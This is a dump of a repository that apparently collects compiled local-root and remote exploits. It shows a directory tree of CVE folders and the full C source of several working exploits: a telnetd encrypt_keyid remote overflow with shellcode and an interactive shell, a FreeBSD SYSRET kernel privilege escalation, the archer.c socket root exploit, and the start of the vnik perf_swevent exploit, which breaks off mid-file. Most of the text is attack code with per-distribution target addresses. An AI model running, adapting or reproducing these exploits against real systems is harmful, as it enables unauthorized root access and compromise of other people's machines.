├── 2011 └── CVE-2011-4862 │ ├── exploit │ └── exploit.c ├── 2012 └── CVE-2012-0217 │ ├── CVE-2012-0217.c │ └── exploit ├── 2013 ├── CVE-2013-1763 │ ├── archer │ └── archer.c ├── CVE-2013-2094 │ ├── vnik │ └── vnik.c └── CVE-2013-2171 │ ├── CVE-2013-2171 │ └── CVE-2013-2171.c ├── 2014 ├── CVE-2014-0038 │ ├── pwn │ ├── pwn64 │ ├── recvmmsg.c │ └── timeoutpwn.c ├── CVE-2014-0196 │ ├── a.out │ └── cve-2014-0196-md.c ├── CVE-2014-3153 │ ├── README.md │ ├── exploit │ └── exploit.c ├── CVE-2014-4014 │ ├── 33824 │ └── 33824.c └── CVE-2014-4699 │ ├── a.out │ └── poc_v0.c ├── 2015 └── CVE-2015-1328 │ ├── 37292.c │ ├── ofs │ ├── ofs_32 │ └── ofs_64 ├── 2016 ├── CVE-2016-5195 │ ├── cowroot │ ├── cowroot.c │ ├── dirtyc0w │ ├── dirtyc0w.c │ ├── pokemon │ └── pokemon.c ├── CVE-2016-8655 │ ├── chocobo_root │ └── chocobo_root.c └── CVE-2016-9793 │ ├── exploit │ ├── poc.c │ └── trigger ├── 2017 ├── CVE-2017-1000112 │ ├── pwn │ └── pwn.c ├── CVE-2017-1000367 │ ├── sudopwn │ └── sudopwn.c ├── CVE-2017-11176 │ ├── cve-2017-11176.c │ └── exploit ├── CVE-2017-16995 │ ├── pwned │ └── upstream44.c ├── CVE-2017-18344 │ ├── pwn │ └── pwn.c ├── CVE-2017-6074 │ ├── poc.c │ ├── pwn │ ├── trigger │ └── trigger.c └── CVE-2017-7308 │ ├── poc │ └── poc.c ├── 2018 ├── CVE-2018-1000001 │ ├── RationalLove │ └── RationalLove.c ├── CVE-2018-14634 │ ├── poc-exploit │ └── poc-exploit.c ├── CVE-2018-14665 │ └── poc.py ├── CVE-2018-16323 │ └── exploit.sh ├── Ubuntu_16.04.4.txt └── ubuntu_16.04.4_2018.out ├── 2019 ├── CVE-2019-12181 │ └── SUroot ├── CVE-2019-13272 │ ├── pwned │ └── pwned.c ├── CVE-2019-19520 │ └── openbsd-authroot ├── CVE-2019-19726 │ └── openbsd-dynamic-loader-chpass └── CVE-2019-7304 │ ├── dirty_sockv1.py │ └── dirty_sockv2.py ├── 2020 └── CVE-2020-7247 │ └── root66 ├── README.md ├── User-Name-Space-Linux-Privilege-Escalation-Ubuntu-18.04-LTS-Lucideus ├── README.md ├── user └── user.c ├── Windows └── st0rnpentest.py └── XFM-PoC ├── README.md ├── poc └── proof.png /2011/CVE-2011-4862/exploit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2011/CVE-2011-4862/exploit -------------------------------------------------------------------------------- /2011/CVE-2011-4862/exploit.c: -------------------------------------------------------------------------------- 1 | /*************************************************************************** 2 | * telnetd-encrypt_keyid.c 3 | * 4 | * Mon Dec 26 20:37:05 CET 2011 5 | * 6 | * Copyright 2011 Jaime Penalba Estebanez (NighterMan) 7 | * Copyright 2011 Gonzalo J. Carracedo (BatchDrake) 8 | * 9 | * nighterman@painsec.com - jpenalbae@gmail.com 10 | * BatchDrake@painsec.com - BatchDrake@gmail.com 11 | * 12 | * ______ __ ________ 13 | * / __ / /_/ / _____/ 14 | * / /_/ /______________\ \_____________ 15 | * / ___ / __ / / __ / \ \/ _ \/ __/ 16 | * / / / /_/ / / / / /___/ / __/ /__ 17 | * ____/__/____\__,_/_/_/ /_/______/\___/\____/____ 18 | * 19 | * 20 | ****************************************************************************/ 21 | 22 | /* 23 | * 24 | * Usage: 25 | * 26 | * $ gcc exploit.c -o exploit 27 | * 28 | * $ ./exploit 127.0.0.1 23 1 29 | * [<] Succes reading intial server request 3 bytes 30 | * [>] Telnet initial encryption mode and IV sent 31 | * [<] Server response: 8 bytes read 32 | * [>] First payload to overwrite function pointer sent 33 | * [<] Server response: 6 bytes read 34 | * [>] Second payload to triger the function pointer 35 | * [*] got shell? 36 | * uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) 37 | * 38 | */ 39 | 40 | 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | 51 | 52 | /* 53 | * Most of the inetd impletantions have a connection limit per second 54 | * so you must chage this if you start getting errors reading responses 55 | * - for 60 conex per min 900000 56 | * - for 40 conex per min 1500000 57 | * - for no limit 300000 should work 58 | */ 59 | #define BRUTE_TOUT 300000 60 | 61 | 62 | 63 | #define MAXKEYLEN 64-1 64 | 65 | struct key_info 66 | { 67 | unsigned char keyid[MAXKEYLEN]; 68 | unsigned char keylen[4]; 69 | unsigned char dir[4]; 70 | unsigned char modep[4]; 71 | unsigned char getcrypt[4]; 72 | }; 73 | 74 | struct target_profile 75 | { 76 | uint32_t skip; 77 | const char *address; 78 | const char *desc; 79 | const char *shellcode; 80 | 81 | }; 82 | 83 | 84 | /* Shellcode FreeBSD x86 */ 85 | const char s_bsd32[] = 86 | "\x31\xc0" // xor %eax,%eax 87 | "\x50" // push %eax 88 | "\xb0\x17" // mov $0x17,%al 89 | "\x50" // push %eax 90 | "\xcd\x80" // int $0x80 91 | "\x50" // push %eax 92 | "\x68\x6e\x2f\x73\x68" // push $0x68732f6e 93 | "\x68\x2f\x2f\x62\x69" // push $0x69622f2f 94 | "\x89\xe3" // mov %esp,%ebx 95 | "\x50" // push %eax 96 | "\x54" // push %esp 97 | "\x53" // push %ebx 98 | "\x50" // push %eax 99 | "\xb0\x3b" // mov $0x3b,%al 100 | "\xcd\x80"; // int $0x80 101 | 102 | /* Shellcode Linux x86 */ 103 | const char s_linux32[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"; 104 | 105 | 106 | /* Shellcode Linux sparc */ 107 | const char s_linuxsparc[] = "\x2d\x0b\xd8\x9a" /* sethi %hi(0x2f626800), %l6 */ 108 | "\xac\x15\xa1\x6e" /* or %l6, 0x16e, %l6 */ 109 | "\x2f\x0b\xdc\xda" /* sethi %hi(0x2f736800), %l7 */ 110 | "\x90\x0b\x80\x0e" /* and %sp, %sp, %o0 */ 111 | "\x92\x03\xa0\x08" /* add %sp, 0x08, %o1 */ 112 | "\x94\x22\x80\x0a" /* sub %o2, %o2, %o2 */ 113 | "\x9c\x03\xa0\x10" /* add %sp, 0x10, %sp */ 114 | "\xec\x3b\xbf\xf0" /* std %l6, [ %sp + - 16 ] */ 115 | "\xd0\x23\xbf\xf8" /* st %o0, [ %sp + - 8 ] */ 116 | "\xc0\x23\xbf\xfc" /* clr [ %sp + -4 ] */ 117 | "\x82\x10\x20\x3b" /* mov 0x3b, %g1 */ 118 | "\x91\xd0\x20\x10"; /* ta 0x10 */ 119 | 120 | 121 | 122 | /* Valid targets list */ 123 | struct target_profile targets[] = 124 | { 125 | {20, "\x00\x80\x05\x08", "Generic Linux i386 bruteforce", s_linux32}, 126 | {20, "\x00\x80\x05\x08", "Generic BSD i386 bruteforce", s_bsd32}, 127 | {20, "\x23\xcc\x05\x08", "Ubuntu GNU/Linux 10.04, Inetutils Server (i386)", s_linux32}, 128 | {20, "\x12\xc9\x05\x08", "Ubuntu GNU/Linux 10.04, Heimdal Server (i386)", s_linux32}, 129 | {20, "\xef\x56\x06\x08", "Debian GNU/Linux stable 6.0.3, Inetutils Server (i386)", s_linux32}, 130 | {20, "\x56\x9a\x05\x08", "Debian GNU/Linux stable 6.0.3, Heimdal Server (i386)", s_linux32}, 131 | {1, "\x00\x03\xe7\x94", "Debian GNU/Linux stable 6.0.3 Inetutils (SPARC)", s_linuxsparc}, 132 | {3, "\x00\x03\x2e\x0c", "Debian GNU/Linux stable 6.0.3 Heimdal Server (SPARC)", s_linuxsparc}, 133 | {20, "\xa6\xee\x05\x08", "FreeBSD 8.0 (i386)", s_bsd32}, 134 | {20, "\xa6\xee\x05\x08", "FreeBSD 8.1 (i386)", s_bsd32}, 135 | {20, "\xed\xee\x05\x08", "FreeBSD 8.2 (i386)", s_bsd32}, 136 | {20, "\x02\xac\x05\x08", "NetBSD 5.1 (i386)", s_bsd32}, 137 | 138 | {0, NULL, NULL, NULL} 139 | }; 140 | 141 | 142 | 143 | /* Telnet commands */ 144 | static unsigned char tnet_init_enc[] = 145 | "\xff\xfa\x26\x00\x01\x01\x12\x13" 146 | "\x14\x15\x16\x17\x18\x19\xff\xf0"; 147 | 148 | static unsigned char tnet_option_enc_keyid[] = "\xff\xfa\x26\x07"; 149 | 150 | static unsigned char tnet_end_suboption[] = "\xff\xf0"; 151 | 152 | 153 | /* Check if the shellcode worked, slightly simpler than shell (int) */ 154 | static int 155 | checkmagic (int fd) 156 | { 157 | char got[32]; 158 | 159 | if (write (fd, "echo pikachu\n", 13) < 0) 160 | return -1; 161 | 162 | if (read (fd, got, 32) <= 0) 163 | return -1; 164 | 165 | return -!strstr (got, "pikachu"); 166 | } 167 | 168 | 169 | /* 170 | * shell(): semi-interactive shell hack 171 | */ 172 | static void shell(int fd) 173 | { 174 | fd_set fds; 175 | char tmp[128]; 176 | int n; 177 | 178 | /* check uid */ 179 | write(fd, "id\n", 3); 180 | 181 | /* semi-interactive shell */ 182 | for (;;) { 183 | FD_ZERO(&fds); 184 | FD_SET(fd, &fds); 185 | FD_SET(0, &fds); 186 | 187 | if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) { 188 | perror("select"); 189 | break; 190 | } 191 | 192 | /* read from fd and write to stdout */ 193 | if (FD_ISSET(fd, &fds)) { 194 | if ((n = read(fd, tmp, sizeof(tmp))) < 0) { 195 | fprintf(stderr, "Goodbye...\n"); 196 | break; 197 | } 198 | if (write(1, tmp, n) < 0) { 199 | perror("write"); 200 | break; 201 | } 202 | } 203 | 204 | /* read from stdin and write to fd */ 205 | if (FD_ISSET(0, &fds)) { 206 | if ((n = read(0, tmp, sizeof(tmp))) < 0) { 207 | perror("read"); 208 | break; 209 | } 210 | if (write(fd, tmp, n) < 0) { 211 | perror("write"); 212 | break; 213 | } 214 | } 215 | } 216 | } 217 | 218 | 219 | static int open_connection(in_addr_t dip, int dport) 220 | { 221 | int pconn; 222 | struct sockaddr_in cdata; 223 | struct timeval timeout; 224 | 225 | /* timeout.tv_sec = _opts.timeout; */ 226 | timeout.tv_sec = 8; 227 | timeout.tv_usec = 0; 228 | 229 | /* Set socket options and create it */ 230 | cdata.sin_addr.s_addr = dip; 231 | cdata.sin_port = htons(dport); 232 | cdata.sin_family = AF_INET; 233 | 234 | pconn = socket(AF_INET, SOCK_STREAM, 0); 235 | 236 | if( pconn < 0 ) 237 | { 238 | printf("Socket error: %i\n", pconn); 239 | printf("Err message: %s\n", strerror(errno)); 240 | return (-1); 241 | } 242 | 243 | /* Set socket timeout */ 244 | if ( setsockopt(pconn, SOL_SOCKET, SO_RCVTIMEO, 245 | (void *)&timeout, sizeof(struct timeval)) != 0) 246 | perror("setsockopt SO_RCVTIMEO: "); 247 | 248 | /* Set socket options */ 249 | if ( setsockopt(pconn, SOL_SOCKET, SO_SNDTIMEO, 250 | (void *)&timeout, sizeof(struct timeval)) != 0) 251 | perror("setsockopt SO_SNDTIMEO: "); 252 | 253 | 254 | /* Make connection */ 255 | if (connect(pconn,(struct sockaddr *) &cdata, sizeof(cdata)) != 0) 256 | { 257 | close(pconn); 258 | return -1; 259 | } 260 | 261 | return pconn; 262 | } 263 | 264 | 265 | 266 | static void usage(char *arg) 267 | { 268 | int x = 0; 269 | 270 | printf(" ______ __ ________ \n"); 271 | printf(" / __ / /_/ / _____/\n"); 272 | printf(" / /_/ /______________\\ \\_____________\n"); 273 | printf(" / ___ / __ / / __ / \\ \\/ _ \\/ __/\n"); 274 | printf(" / / / /_/ / / / / /___/ / __/ /__\n"); 275 | printf(" ____/__/____\\__,_/_/_/ /_/______/\\___/\\____/____\n"); 276 | printf(" ---------------- www.painsec.com ---------------\n\n"); 277 | printf("(c) NighterMan & BatchDrake 2011, almost 2012\n"); 278 | printf("OH MY GOD WE ARE ALL ABOUT TO DIE\n\n"); 279 | printf("Available Targets:\n\n"); 280 | 281 | 282 | /* print tagets */ 283 | while(targets[x].address != NULL) { 284 | printf(" %2i: %s\n", x + 1, targets[x].desc); 285 | x++; 286 | } 287 | 288 | printf("\n"); 289 | printf("Telnetd encrypt_keyid exploit\n"); 290 | printf("Usage: %s [ip] [port] [target]\n\n", arg); 291 | } 292 | 293 | 294 | int 295 | attack (const char *ip, unsigned int port, 296 | unsigned char *payload, unsigned int psize, int tryshell) 297 | { 298 | unsigned char readbuf[256]; 299 | int ret; 300 | int conn; 301 | 302 | /* Open the connection */ 303 | conn = open_connection(inet_addr(ip), port); 304 | if (conn == -1) { 305 | printf("Error connecting: %i\n", errno); 306 | return -1; 307 | } 308 | 309 | /* Read initial server request */ 310 | ret = read(conn, readbuf, 256); 311 | 312 | if (ret <= 0) 313 | { 314 | printf ("[!] Error receiving response: %s\n", 315 | ret ? strerror (errno) : "empty response"); 316 | close (conn); 317 | return -1; 318 | } 319 | 320 | printf("[<] Succes reading intial server request %i bytes\n", ret); 321 | 322 | /* printf("ATTACH DEBUGGER & PRESS KEY TO CONITNUE\n"); */ 323 | /* ret = getchar(); */ 324 | 325 | /* Send encryption and IV */ 326 | ret = write(conn, tnet_init_enc, sizeof(tnet_init_enc)); 327 | if (ret != sizeof(tnet_init_enc)) { 328 | printf("Error sending init encryption: %i\n", ret); 329 | close (conn); 330 | return -1; 331 | } 332 | printf("[>] Telnet initial encryption mode and IV sent\n"); 333 | 334 | /* Read response */ 335 | if ((ret = read(conn, readbuf, 256)) == -1 && errno == EAGAIN) 336 | { 337 | printf ("[!] Timeout when receiving response\n"); 338 | close (conn); 339 | return -1; 340 | } 341 | else 342 | printf("[<] Server response: %i bytes read\n", ret); 343 | 344 | /* Send the first payload with the overflow */ 345 | ret = write(conn, payload, psize); 346 | if (ret != psize) { 347 | printf("Error sending payload first time\n"); 348 | close (conn); 349 | return -1; 350 | } 351 | printf("[>] First payload to overwrite function pointer sent\n"); 352 | 353 | /* Read Response */ 354 | if ((ret = read(conn, readbuf, 256)) == -1 && errno == EAGAIN) 355 | { 356 | printf ("[!] Timeout when receiving response\n"); 357 | close (conn); 358 | return -1; 359 | } 360 | else 361 | printf("[<] Server response: %i bytes read\n", ret); 362 | 363 | 364 | /* Send the payload again to tigger the function overwrite */ 365 | ret = write(conn, payload, psize); 366 | if (ret != psize) { 367 | printf("Error sending payload second time\n"); 368 | close (conn); 369 | return -1; 370 | } 371 | printf("[>] Second payload to triger the function pointer\n"); 372 | 373 | if (tryshell) 374 | { 375 | /* Start the semi interactive shell */ 376 | printf("[*] got shell?\n"); 377 | shell(conn); 378 | 379 | ret = 0; 380 | } 381 | else 382 | { 383 | printf ("[*] Does this work? "); 384 | 385 | /* Just check if it works */ 386 | 387 | if (checkmagic (conn) == 0) 388 | { 389 | printf ("YES!!!\n"); 390 | printf ("Add the Target address to the targets list & recomple!!!\n"); 391 | ret = 0; 392 | } 393 | else 394 | { 395 | printf ("nope :(\n"); 396 | ret = -1; 397 | } 398 | } 399 | 400 | close (conn); 401 | 402 | return ret; 403 | } 404 | 405 | 406 | int main(int argc, char *argv[]) 407 | { 408 | int offset = 0; 409 | int target; 410 | int i; 411 | unsigned int address; 412 | 413 | /* Payload Size */ 414 | int psize = (sizeof(struct key_info) + 415 | sizeof(tnet_option_enc_keyid) + 416 | sizeof(tnet_end_suboption)); 417 | 418 | struct key_info bad_struct; 419 | unsigned char payload[psize]; 420 | 421 | if ( argc != 4) { 422 | usage(argv[0]); 423 | return -1; 424 | } 425 | 426 | /* Fill the structure */ 427 | memset(&bad_struct, 0x90, sizeof(struct key_info)); 428 | memcpy(bad_struct.keylen, "DEAD", 4); 429 | memcpy(bad_struct.dir, "BEEF", 4); 430 | 431 | target = atoi(argv[3]) - 1; 432 | /* Target selection */ 433 | struct target_profile *t; 434 | t = &targets[target]; 435 | printf("Target: %s\n\n", t->desc); 436 | 437 | for (i = 0; !i || target < 2; i++) 438 | { 439 | offset = 0; 440 | memcpy(&bad_struct.keyid[t->skip], t->shellcode, strlen(t->shellcode)); 441 | memcpy (&address, t->address, 4); 442 | 443 | address += ((i + 1) >> 1) * (t->skip - 1) * (1 - ((i & 1) << 1)); 444 | printf ("[*] Target address: 0x%04x\n", address); 445 | 446 | memcpy(bad_struct.modep, &address, 4); /* Readable address */ 447 | memcpy(bad_struct.getcrypt, &address, 4); /* Function pointer */ 448 | 449 | /* Prepare the payload with the overflow */ 450 | memcpy(payload, tnet_option_enc_keyid, sizeof(tnet_option_enc_keyid)); 451 | offset += sizeof(tnet_option_enc_keyid); 452 | memcpy(&payload[offset], &bad_struct, sizeof(bad_struct)); 453 | offset += sizeof(bad_struct); 454 | memcpy(&payload[offset], tnet_end_suboption, sizeof(tnet_end_suboption)); 455 | 456 | if (attack (argv[1], atoi (argv[2]), payload, psize, target >= 2) == 0) 457 | break; 458 | 459 | usleep (BRUTE_TOUT); 460 | } 461 | 462 | return 0; 463 | } 464 | -------------------------------------------------------------------------------- /2012/CVE-2012-0217/CVE-2012-0217.c: -------------------------------------------------------------------------------- 1 | /* 2 | * FreeBSD 9.0 Intel SYSRET Kernel Privilege Escalation exploit 3 | * Author by CurcolHekerLink 4 | * 5 | * This exploit based on open source project, I can make it open source too. Right? 6 | * 7 | * If you blaming me for open sourcing this exploit, you can fuck your mom. Free of charge :) 8 | * 9 | * Credits to KEPEDEAN Corp, Barisan Sakit Hati, ora iso sepaying meneh hekerlink, 10 | * Kismin perogeremer cyber team, petboylittledick, 1337 Curhat Crew and others at #MamaDedehEliteCurhatTeam 11 | * if you would like next private exploit leakage, just mention @MamahhDedeh 12 | * 13 | * Some people may feel harmed when we release this exploit :)) 14 | * 15 | * p.s: Met idul Adha ya besok, saatnya potong leher dewa lo... eh maksudnya potong Sapisisasi :)) 16 | * 17 | */ 18 | 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #define _WANT_UCRED 27 | #include 28 | #include 29 | #include 30 | #include 31 | #define TRIGGERSIZE 20 32 | #define BOUNCESIZE 18 33 | 34 | uintptr_t Xdivp, Xdbgp, Xbptp, Xoflp, Xbndp, Xillp, Xdnap, Xfpusegmp, Xtssp, Xmissingp, Xstkp, Xprotp, Xpagep, Xfpup, Xalignp, Xmchkp, Xxmmp; 35 | 36 | struct gate_descriptor * sidt() 37 | { 38 | struct region_descriptor idt; 39 | asm ("sidt %0": "=m"(idt)); 40 | return (struct gate_descriptor*)idt.rd_base; 41 | } 42 | 43 | u_long matchsym(char *symname) 44 | { 45 | struct kld_sym_lookup ksym; 46 | ksym.version = sizeof (ksym); 47 | ksym.symname = symname; 48 | if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) { 49 | perror("kldsym"); 50 | exit(1); 51 | } 52 | return ksym.symvalue; 53 | } 54 | 55 | void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist) 56 | { 57 | struct gate_descriptor *ip; 58 | ip = idt + idx; 59 | ip->gd_looffset = func; 60 | ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL); 61 | ip->gd_ist = ist; 62 | ip->gd_xx = 0; 63 | ip->gd_type = typ; 64 | ip->gd_dpl = dpl; 65 | ip->gd_p = 1; 66 | ip->gd_hioffset = func>>16; 67 | } 68 | 69 | void payload() 70 | { 71 | printf("[+] Woohoo!!!\n"); 72 | exit(0); 73 | } 74 | 75 | void resetidt() 76 | { 77 | struct thread *td; 78 | struct ucred *cred; 79 | struct gate_descriptor *idt = sidt(); 80 | setidt(idt, IDT_DE, Xdivp, SDT_SYSIGT, SEL_KPL, 0); 81 | setidt(idt, IDT_DB, Xdbgp, SDT_SYSIGT, SEL_KPL, 0); 82 | setidt(idt, IDT_BP, Xbptp, SDT_SYSIGT, SEL_KPL, 0); 83 | setidt(idt, IDT_OF, Xoflp, SDT_SYSIGT, SEL_KPL, 0); 84 | setidt(idt, IDT_BR, Xbndp, SDT_SYSIGT, SEL_KPL, 0); 85 | setidt(idt, IDT_UD, Xillp, SDT_SYSIGT, SEL_KPL, 0); 86 | setidt(idt, IDT_NM, Xdnap, SDT_SYSIGT, SEL_KPL, 0); 87 | setidt(idt, IDT_FPUGP, Xfpusegmp, SDT_SYSIGT, SEL_KPL, 0); 88 | setidt(idt, IDT_TS, Xtssp, SDT_SYSIGT, SEL_KPL, 0); 89 | setidt(idt, IDT_NP, Xmissingp, SDT_SYSIGT, SEL_KPL, 0); 90 | setidt(idt, IDT_SS, Xstkp, SDT_SYSIGT, SEL_KPL, 0); 91 | setidt(idt, IDT_GP, Xprotp, SDT_SYSIGT, SEL_KPL, 0); 92 | setidt(idt, IDT_PF, Xpagep, SDT_SYSIGT, SEL_KPL, 0); 93 | setidt(idt, IDT_MF, Xfpup, SDT_SYSIGT, SEL_KPL, 0); 94 | setidt(idt, IDT_AC, Xalignp, SDT_SYSIGT, SEL_KPL, 0); 95 | setidt(idt, IDT_MC, Xmchkp, SDT_SYSIGT, SEL_KPL, 0); 96 | setidt(idt, IDT_XF, Xxmmp, SDT_SYSIGT, SEL_KPL, 0); 97 | 98 | asm ("mov %%gs:0, %0" : "=r"(td)); 99 | 100 | cred = td->td_proc->p_ucred; 101 | cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0; 102 | cred->cr_groups[0] = 0; 103 | 104 | asm ("swapgs; sysretq;" :: "c"(payload)); 105 | } 106 | 107 | void resolving() 108 | { 109 | Xdivp = (uintptr_t)matchsym("Xdiv"); 110 | Xdbgp = (uintptr_t)matchsym("Xdbg"); 111 | Xbptp = (uintptr_t)matchsym("Xbpt"); 112 | Xoflp = (uintptr_t)matchsym("Xofl"); 113 | Xbndp = (uintptr_t)matchsym("Xbnd"); 114 | Xillp = (uintptr_t)matchsym("Xill"); 115 | Xdnap = (uintptr_t)matchsym("Xdna"); 116 | Xfpusegmp = (uintptr_t)matchsym("Xfpusegm"); 117 | Xtssp = (uintptr_t)matchsym("Xtss"); 118 | Xmissingp = (uintptr_t)matchsym("Xmissing"); 119 | Xstkp = (uintptr_t)matchsym("Xstk"); 120 | Xprotp = (uintptr_t)matchsym("Xprot"); 121 | Xpagep = (uintptr_t)matchsym("Xpage"); 122 | Xfpup = (uintptr_t)matchsym("Xfpu"); 123 | Xalignp = (uintptr_t)matchsym("Xalign"); 124 | Xmchkp = (uintptr_t)matchsym("Xmchk"); 125 | Xxmmp = (uintptr_t)matchsym("Xxmm"); 126 | } 127 | 128 | void trigger() 129 | { 130 | printf("[+] Crotz...\n"); 131 | uint64_t pagesize = getpagesize(); 132 | uint8_t * mappedarea = (uint8_t*)((1ULL << 47) - pagesize); 133 | mappedarea = mmap(mappedarea, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0); 134 | if (mappedarea == MAP_FAILED) { 135 | perror("mmap (trigger)"); 136 | exit(1); 137 | } 138 | 139 | char triggerpayload[] = 140 | "\xb8\x18\x00\x00\x00" 141 | "\x48\x89\xe3" 142 | "\x48\xbc\xef\xbe\xad\xde\xef\xbe\xad\xde" 143 | "\x0f\x05"; 144 | 145 | uint8_t * offset_addr = mappedarea + pagesize - TRIGGERSIZE; 146 | memcpy(offset_addr, triggerpayload, TRIGGERSIZE); 147 | 148 | *(uint64_t*)(offset_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8); 149 | printf("[+] Crotz...\n"); 150 | char bouncepayload[] = 151 | "\x0f\x01\xf8" 152 | "\x48\x89\xdc" 153 | "\x48\xb8\xef\xbe\xad\xde\xef\xbe\xad\xde" 154 | "\xff\xe0"; 155 | 156 | uint8_t * bouncer = (uint8_t*)(0x900000000 | (Xpagep & 0xFFFFFFFF)); 157 | size_t bouncer_allocsize = pagesize; 158 | if ((uint8_t*)((uint64_t)bouncer & ~(pagesize-1)) + pagesize < bouncer + BOUNCESIZE) 159 | bouncer_allocsize += pagesize; 160 | if (mmap((void*)((uint64_t)bouncer & ~(pagesize-1)), bouncer_allocsize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED) 161 | { 162 | perror("mmap (bouncer)"); 163 | exit(1); 164 | } 165 | memcpy(bouncer, bouncepayload, BOUNCESIZE); 166 | *(uint64_t*)(bouncer + 8) = (uint64_t)resetidt; 167 | ((void (*)())offset_addr)(); 168 | } 169 | 170 | int main(int argc, char *argv[]) 171 | { 172 | printf("[+] SYSRET FUCKUP!!\n"); 173 | printf("[+] Start Engine...\n"); 174 | resolving(); 175 | printf("[+] Crotz...\n"); 176 | trigger(); 177 | return 0; 178 | } 179 | -------------------------------------------------------------------------------- /2012/CVE-2012-0217/exploit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2012/CVE-2012-0217/exploit -------------------------------------------------------------------------------- /2013/CVE-2013-1763/archer: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2013/CVE-2013-1763/archer -------------------------------------------------------------------------------- /2013/CVE-2013-1763/archer.c: -------------------------------------------------------------------------------- 1 | // archer.c 2 | // 3 | // 2012 sd@fucksheep.org 4 | // 5 | // Works reliably against x86-64 3.3-3.7 arch. 6 | // 7 | // Tested against: 8 | // 9 | // Linux XXX 3.3.1-1-ARCH #1 SMP PREEMPT Tue Apr 3 06:46:17 UTC 2012 x86_64 GNU/Linux 10 | // Linux XXX 3.4.7-1-ARCH #1 SMP PREEMPT Sun Jul 29 22:02:56 CEST 2012 x86_64 GNU/Linux 11 | // Linux XXX 3.7.4-1-ARCH #1 SMP PREEMPT Mon Jan 21 23:05:29 CET 2013 x86_64 GNU/Linux 12 | // ... 13 | 14 | #include 15 | 16 | #define JUMP 0x0000100000001000LL 17 | #define BASE 0x380000000 18 | #define SIZE 0x010000000 19 | #define KSIZE 0x2000000 20 | 21 | static long ugid; 22 | 23 | void patch_current() { 24 | int i,j,k; 25 | char *current = *(char**)(((long)&i) & (-8192)); 26 | long kbase = ((long)current)>>36; 27 | 28 | for (i=0; i<4000; i+=4) { 29 | long *p = (void *)¤t[i]; 30 | int *t = (void*) p[0]; 31 | if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue; 32 | for (j=0; j<20; j++) { 33 | for (k = 0; k < 8; k++) 34 | if (((int*)&ugid)[k%2] != t[j+k]) goto next; 35 | for (i = 0; i < 8; i++) t[j+i] = 0; 36 | for (i = 0; i < 10; i++) t[j+9+i] = -1; 37 | return; 38 | next:; } 39 | } 40 | } 41 | 42 | 43 | int main() 44 | { 45 | long u = getuid(); 46 | long g = getgid(); 47 | int i, f = socket(16,3,4); 48 | static int n[10] = {40,0x10014,0,0,45,-1}; 49 | 50 | assert(mmap((void*)(1<<12), 1<<20, 3, 0x32, 0, 0)!=-1); 51 | 52 | setresuid(u,u,u); setresgid(g,g,g); 53 | ugid = (g<<32)|u; 54 | 55 | memcpy(1<<12, &patch_current, 1024); 56 | for (i = 0; i < (1<<17); i++) ((void**)(1<<12))[i] = &patch_current; 57 | send(f, n, sizeof(n), 0); 58 | setuid(0); 59 | return execl("/bin/bash", "-sh", 0); 60 | } 61 | -------------------------------------------------------------------------------- /2013/CVE-2013-2094/vnik: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2013/CVE-2013-2094/vnik -------------------------------------------------------------------------------- /2013/CVE-2013-2094/vnik.c: -------------------------------------------------------------------------------- 1 | /** 2 | * Ubuntu 12.04 3.x x86_64 perf_swevent_init Local root exploit 3 | * by Vitaly Nikolenko (vnik5287@gmail.com) 4 | * 5 | * based on semtex.c by sd 6 | * 7 | * Supported targets: 8 | * [0] Ubuntu 12.04.0 - 3.2.0-23-generic 9 | * [1] Ubuntu 12.04.1 - 3.2.0-29-generic 10 | * [2] Ubuntu 12.04.2 - 3.5.0-23-generic 11 | * 12 | * $ gcc vnik.c -O2 -o vnik 13 | * 14 | * $ uname -r 15 | * 3.2.0-23-generic 16 | * 17 | * $ ./vnik 0 18 | */ 19 | 20 | #define _GNU_SOURCE 1 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | #define BASE 0x1780000000 32 | #define SIZE 0x0010000000 33 | #define KSIZE 0x2000000 34 | #define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337)))) 35 | 36 | typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred); 37 | typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred); 38 | 39 | uint64_t targets[3][3] = 40 | {{0xffffffff81ef67e0, // perf_swevent_enabled 41 | 0xffffffff81091630, // commit_creds 42 | 0xffffffff810918e0}, // prepare_kernel_cred 43 | {0xffffffff81ef67a0, 44 | 0xffffffff81091220, 45 | 0xffffffff810914d0}, 46 | {0xffffffff81ef5940, 47 | 0xffffffff8107ee30, 48 | 0xffffffff8107f0c0} 49 | }; 50 | 51 | void __attribute__((regparm(3))) payload() { 52 | uint32_t *fixptr = (void*)AB(1); 53 | // restore the handler 54 | *fixptr = -1; 55 | commit_creds_fn commit_creds = (commit_creds_fn)AB(2); 56 | prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)AB(3); 57 | commit_creds(prepare_kernel_cred((uint64_t)NULL)); 58 | } 59 | 60 | 